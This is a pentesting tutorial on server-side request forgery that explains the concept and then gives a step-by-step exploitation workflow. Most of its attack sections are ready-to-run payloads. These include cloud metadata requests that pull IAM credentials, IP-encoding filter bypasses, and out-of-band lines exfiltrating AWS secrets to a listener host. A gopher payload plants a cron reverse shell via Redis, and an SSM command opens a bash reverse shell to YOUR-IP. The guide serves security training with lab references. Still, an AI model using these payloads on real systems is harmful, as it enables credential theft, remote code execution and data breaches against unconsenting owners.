Most vulnerability classes are obvious once you know what to look for. SSRF is the one that hides in plain sight. It does not look dangerous. It looks like a feature. A URL field. An import function. A webhook. A preview generator. Each one is a potential door into the internal network sitting behind the application — infrastructure that was never supposed to be reachable from the outside. SSRF opens that door.
🔰 Beginners: SSRF requires understanding what "internal network" means in a server context. That is explained first. Work through this in order.
⚡ Seasoned practitioners: Jump to Real Worked Examples for the workflow reference.
Before you start — know these terms:
- SSRF (Server-Side Request Forgery) — you trick a server into making HTTP requests on your behalf. The server makes the request, not your browser. This matters because the server has access to things your browser does not.
- Internal network — the private network that exists behind a web server. Cloud metadata services, databases, internal admin panels, and other servers that are not accessible from the internet but are accessible from the web server itself.
- Cloud metadata service — a special internal URL that cloud providers (AWS, Google Cloud, Azure) use to give servers information about themselves. It contains credentials, configuration, and identity information. Accessible only from inside the cloud instance — unless SSRF lets you reach it from outside.
- Blind SSRF — SSRF where the server makes the request but you cannot see the response. You can confirm it happened but cannot read the data directly.
- What Is SSRF — Plain English
- Why SSRF Is Dangerous
- Where SSRF Hides
- Finding SSRF Vulnerabilities
- Basic SSRF Exploitation
- SSRF Against Cloud Metadata Services
- SSRF for Internal Network Scanning
- Blind SSRF
- SSRF Filter Bypasses
- Chaining SSRF to RCE
- Tools for SSRF Testing
- Real Worked Examples
- CTF vs Real World
The situation without SSRF:
You are sitting at your computer. The web application is on a server somewhere on the internet. Behind that server is a private internal network — other servers, databases, admin panels — that you cannot reach directly because they are not exposed to the internet.
You (internet) → Web Server → [Internal Network: databases, admin panels, other servers]
↑
This is the boundary
You can reach here
But not past it
The situation with SSRF:
The web application has a feature that makes HTTP requests — maybe it fetches a URL you provide to generate a preview, or imports data from a link, or loads a profile picture from a URL. That feature runs on the server. The server IS inside the network boundary.
You give the application a URL pointing not at an external site but at something internal. The server fetches it. The server is already inside the boundary. It can reach things you cannot.
You (internet) → Web Server → Internal Network ← the server fetches this for you
databases
admin panels
other servers
cloud credentials
The analogy:
You want to get into a members-only club but you are not a member. There is a member inside who will run errands for anyone who asks — they will go fetch things from inside the club and bring them back to the door. SSRF is convincing that member to fetch something from inside the club on your behalf. You never go in. They bring the information out to you.
SSRF is consistently ranked as one of the most critical web vulnerabilities — it made OWASP Top 10 as its own category in 2021 for the first time. Here is why:
It bypasses network controls entirely. Firewalls, security groups, network segmentation — all of these are designed to control what can reach internal services FROM OUTSIDE. SSRF makes the request come from inside. The firewall sees an internal server talking to another internal server. That is expected traffic. Nothing gets blocked.
Cloud environments make it catastrophically worse. Every major cloud provider — AWS, Google Cloud, Azure — has a metadata service. This is a special URL that only works from inside the cloud instance. It returns credentials, API keys, and configuration data about the server. These credentials often have broad permissions across the entire cloud account.
AWS metadata service: http://169.254.169.254/latest/meta-data/
Google Cloud metadata: http://metadata.google.internal/
Azure metadata: http://169.254.169.254/metadata/instance
If SSRF can reach the metadata service, those credentials are exposed. With cloud credentials an attacker can often access every S3 bucket, every database, every other service in the entire cloud account.
This is how Capital One was breached in 2019 — SSRF to metadata service to cloud credentials to 100 million customer records.
SSRF lives in any feature that causes the server to make an outbound HTTP request. These are the most common hiding spots:
URL input fields
→ "Enter a URL to import"
→ "Load profile picture from URL"
→ "Fetch content from link"
→ "Connect to external service"
Document and media processing
→ PDF generators that fetch URLs for content
→ Image resizers that load images from URLs
→ HTML-to-PDF converters
→ Document preview generators
Webhooks
→ "Enter a URL to receive notifications"
→ Callback URL fields
→ Integration endpoint configuration
API integrations
→ "Connect your account to..."
→ OAuth callback URLs
→ Third-party service configuration
File upload by URL
→ "Import file from URL"
→ "Download and process"
Step 1 — Identify features that take URLs:
Browse the application looking for any input that accepts a URL or looks like it causes the server to fetch something. Check every form field, every API parameter, every configuration option.
Step 2 — Test with a URL you control:
The most reliable way to confirm SSRF is to point the vulnerable parameter at a URL you control and watch for incoming requests.
# Option 1 — use Burp Collaborator (Burp Suite Pro)
# Generates a unique URL that logs all incoming requests
# Available in Burp Suite Pro → Burp → Burp Collaborator
# Option 2 — use interactsh (free and open source)
# https://github.com/projectdiscovery/interactsh
# Generates a URL that logs DNS and HTTP interactions
# Install interactsh
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Get a unique URL to use in testing
interactsh-client
# Option 3 — use your own server
# Start a listener on your machine
nc -lvnp 80
# Or a Python web server
python3 -m http.server 80
# Point the SSRF parameter at your IPStep 3 — Test for internal access:
# Test if the server can reach localhost
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
# Test common internal ports
http://localhost:8080/
http://localhost:8443/
http://localhost:3000/
http://localhost:9200/ ← Elasticsearch
http://localhost:6379/ ← Redis
http://localhost:27017/ ← MongoDB
http://localhost:5432/ ← PostgreSQL
# Test cloud metadata services
http://169.254.169.254/
http://metadata.google.internal/Once SSRF is confirmed, the basic exploitation workflow is straightforward — point the vulnerable parameter at targets that reveal useful information or give access to restricted services.
# Read internal services — format depends on where output appears
# If the application shows the fetched content in the response:
# Check what is running on localhost
?url=http://localhost/
?url=http://127.0.0.1/
# Check common internal admin panels
?url=http://localhost:8080/manager/html ← Tomcat manager
?url=http://localhost:8080/console ← JBoss/WildFly
?url=http://localhost:9200/_cat/indices ← Elasticsearch
?url=http://localhost:2375/version ← Docker API
?url=http://localhost:4840/ ← Kubernetes API
# Read internal files via file:// protocol
?url=file:///etc/passwd
?url=file:///etc/hosts
?url=file:///var/www/html/config.php
# Scan internal network ranges
?url=http://192.168.1.1/
?url=http://10.0.0.1/
?url=http://172.16.0.1/This is the highest-value SSRF target in modern environments. If the application is hosted on a cloud provider and SSRF can reach the metadata service — you likely have access to credentials that control the entire cloud account.
# Base metadata URL
?url=http://169.254.169.254/latest/meta-data/
# Get the IAM role name
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get credentials for the role (replace ROLENAME with what the above returned)
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME
# The response contains:
# {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "Token": "...",
# "Expiration": "..."
# }
# Get instance identity (reveals account ID, region, instance ID)
?url=http://169.254.169.254/latest/dynamic/instance-identity/document
# IMDSv2 — newer AWS instances require a token first
# Step 1 — get a token (requires PUT request — may need to test differently)
# Step 2 — use token in header: X-aws-ec2-metadata-token: TOKEN# Base metadata URL
?url=http://metadata.google.internal/computeMetadata/v1/
# Get service account token (requires header: Metadata-Flavor: Google)
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Get project information
?url=http://metadata.google.internal/computeMetadata/v1/project/project-id# Base metadata URL
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Get access token
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/What to do with cloud credentials once you have them:
# Configure AWS CLI with stolen credentials
aws configure
# Enter: AccessKeyId, SecretAccessKey, Token (as session token)
# Or set environment variables directly
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Now use AWS CLI as that identity
aws sts get-caller-identity # who are you
aws s3 ls # list all S3 buckets
aws ec2 describe-instances # list all EC2 instances
aws secretsmanager list-secrets # list stored secretsSSRF can be used as a port scanner — making the server probe its own internal network and reporting what it finds based on response behavior.
# The response behavior tells you what is there:
# Fast response + content → port is open and service responded
# Fast response + error → port is open but rejected the request
# Timeout / no response → port is closed or filtered
# Scan common internal hosts
?url=http://10.0.0.1/
?url=http://10.0.0.2/
?url=http://192.168.1.1/
# Scan ports on a discovered host
?url=http://10.0.0.5:22/ ← SSH
?url=http://10.0.0.5:80/ ← HTTP
?url=http://10.0.0.5:443/ ← HTTPS
?url=http://10.0.0.5:3306/ ← MySQL
?url=http://10.0.0.5:5432/ ← PostgreSQL
?url=http://10.0.0.5:6379/ ← Redis
?url=http://10.0.0.5:8080/ ← HTTP alternate
?url=http://10.0.0.5:9200/ ← Elasticsearch
?url=http://10.0.0.5:27017/ ← MongoDBPlain English: Blind SSRF is when the server makes the request you specify but does not show you the response. You know it is making requests — you can confirm this by watching your own server for incoming connections — but you cannot read what came back.
Think of it like sending a messenger to fetch information but the messenger never comes back to tell you what they found. You know they went — you can see them leave — but you get no report.
Confirming blind SSRF:
# Step 1 — set up a listener to detect incoming connections
# Use interactsh, Burp Collaborator, or your own server
# interactsh (Linux/macOS/WSL2)
interactsh-client
# Gives you a URL like: abc123.oast.fun
# Windows — use WSL2 or download interactsh binary from:
# https://github.com/projectdiscovery/interactsh/releases
# Step 2 — point the SSRF parameter at your listener URL
?url=http://abc123.oast.fun/test
# Step 3 — watch your interactsh client for an incoming request
# If a request arrives — blind SSRF confirmedExploiting blind SSRF:
Since you cannot read responses directly, exploitation focuses on side effects — actions that happen as a result of the request even if you cannot see the response.
# Out-of-band data exfiltration
# Make the server include sensitive data in the URL it requests
# The data appears in your listener logs
# Example: include the server's hostname in the request
?url=http://$(hostname).abc123.oast.fun/
# Include environment variables
?url=http://`echo $AWS_SECRET_ACCESS_KEY`.abc123.oast.fun/
# Webhook-based exfiltration
?url=http://abc123.oast.fun/?data=SENSITIVE_DATAApplications often try to block SSRF by checking whether the URL points to internal addresses. These checks are frequently bypassable.
💡 When to use these: If basic SSRF attempts with
http://127.0.0.1/orhttp://169.254.169.254/are blocked, work through these bypasses in order before concluding SSRF to internal resources is not possible.
# Standard blocked form
http://127.0.0.1/
# Decimal representation (127.0.0.1 in decimal)
http://2130706433/
# Octal representation
http://0177.0000.0000.0001/
# Hex representation
http://0x7f000001/
# Mixed representation
http://127.0.1/
http://127.1/
# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
# Alternative localhost names
http://localhost/
http://localtest.me/ ← resolves to 127.0.0.1 via DNS
http://spoofed.burpcollaborator.net/ ← resolves to 127.0.0.1
# AWS metadata alternative representations
http://169.254.169.254/ ← standard
http://[::ffff:169.254.169.254]/ ← IPv6 mapped
http://2852039166/ ← decimal# Using @ to confuse URL parsers
# Parser may check the hostname before @ and ignore after
http://expected-host@internal-host/
# Using # fragment
http://internal-host#expected-host
# Using a redirect
# Point SSRF at a URL you control that redirects to internal
# Your server: http://your-server/redirect
# Returns: 302 Location: http://169.254.169.254/
# DNS rebinding
# A hostname that resolves to an external IP for the check
# then resolves to 127.0.0.1 for the actual request# If http:// is blocked try other protocols
file:///etc/passwd ← read local files
dict://localhost:6379/ ← interact with Redis
gopher://localhost:6379/ ← more powerful Redis interaction
ftp://localhost/ ← FTP
sftp://localhost/ ← SFTPSSRF alone is powerful — credentials, internal access, sensitive data. In the right environment it chains directly to Remote Code Execution.
Plain English: Redis is an in-memory database often running internally with no authentication. If SSRF can reach it using the Gopher protocol — which lets you send raw TCP data — you can write commands directly to Redis that result in code execution.
# Gopher protocol SSRF to Redis
# This sends Redis commands to write a cron job that executes a reverse shell
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20>%26%20%2Fdev%2Ftcp%2FYOUR-IP%2F4444%200>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A# Step 1 — discover internal services via SSRF port scanning
?url=http://localhost:8080/
# Step 2 — if Tomcat manager is found
?url=http://localhost:8080/manager/html
# Step 3 — deploy a WAR file web shell via the manager
# (if default credentials work: tomcat/tomcat or admin/admin)
?url=http://localhost:8080/manager/deploy?war=http://YOUR-IP/shell.war# Step 1 — get credentials via metadata service
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
# Step 2 — configure AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Step 3 — enumerate permissions
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
# Step 4 — escalate based on permissions
aws ec2 describe-instances # find other instances
aws ssm send-command --instance-ids i-xxx --document-name "AWS-RunShellScript" \
--parameters 'commands=["bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"]'
# SSM run command = RCE on EC2 instances if SSM is enabled# curl for testing SSRF responses directly
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# When the SSRF does not show response in browser — use curl to see raw response
curl -v "http://target.com/fetch?url=http://localhost:6379/"# Install — Linux / macOS
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# macOS alternative
brew install interactsh
# Windows
# Download binary from:
# https://github.com/projectdiscovery/interactsh/releases
# Run: interactsh-client.exe
# WSL2 (recommended for Windows)
# Follow Linux install inside WSL2
# Use
interactsh-client
# Generates URL — use it in SSRF testing
# Shows all incoming DNS and HTTP interactions# Install — Linux / macOS / WSL2
git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip3 install -r requirements.txt
# Basic scan
python3 ssrfmap.py -r request.txt -p url -m readfiles
# Cloud metadata
python3 ssrfmap.py -r request.txt -p url -m cloud_aws
# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis
# Windows — use WSL2 with Kali, then follow Linux instructionsScenario: A web application has a URL parameter that fetches external content to generate previews.
# Step 1 — identify the SSRF parameter
# Application has: POST /preview with body: {"url": "http://example.com"}
# Step 2 — test for internal access
curl -X POST http://target.com/preview \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1/"}'
# Internal page content returned — SSRF confirmed
# Step 3 — check for AWS metadata service
curl -X POST http://target.com/preview \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# Metadata directory listing returned
# Step 4 — get IAM credentials
curl -X POST http://target.com/preview \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Role name returned: "app-role"
curl -X POST http://target.com/preview \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}'
# Full credentials returned — AccessKeyId, SecretAccessKey, Token
# Step 5 — use credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 lsScenario: Web application accepts a URL for a webhook. Internal network has services not exposed externally.
# Step 1 — confirm SSRF via out-of-band
# Set webhook URL to your interactsh address
# Request arrives in interactsh — SSRF confirmed
# Step 2 — scan internal network
# Try common internal ranges
?webhook=http://10.0.0.1/
?webhook=http://172.16.0.1/
?webhook=http://192.168.1.1/
# Step 3 — scan discovered host for open ports
?webhook=http://10.0.0.5:6379/ ← Redis — connection accepted?
?webhook=http://10.0.0.5:9200/ ← Elasticsearch — JSON returned?
# Step 4 — exploit discovered service
# If Elasticsearch is found and unauthenticated:
?webhook=http://10.0.0.5:9200/_cat/indices
?webhook=http://10.0.0.5:9200/INDEX_NAME/_searchPractice targets:
- HackTheBox — Gobox (SSRF to AWS metadata)
- HackTheBox — Bucket (SSRF to internal service)
- HackTheBox — Forge (SSRF with filter bypass)
- PortSwigger Web Security Academy — SSRF labs (free, browser-based)
- PentesterLab — SSRF exercises
| CTF | Real Engagement | |
|---|---|---|
| Finding SSRF | Usually one parameter — intended path | Requires testing every URL input |
| Metadata service | Common target | Extremely high value — report immediately |
| Blind SSRF | Sometimes | Common — use OOB detection |
| Filter bypass | Usually one bypass works | May need creative chaining |
| Cloud credentials | Use them for the flag | Scope critical — verify before using |
| Internal scanning | Standard technique | Document carefully — noisy |
| Chaining to RCE | Often the intended path | Requires explicit scope permission |
| Documentation | Notes | Full evidence — screenshots of credentials |
| Resource | What It Covers |
|---|---|
| RCE | Chaining SSRF to code execution |
| Manual Exploitation | Manual SSRF exploitation workflow |
| Shells | Getting a shell after SSRF RCE |
| Evasion | Bypassing WAF on SSRF |
| Vuln Research | Finding SSRF CVEs |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide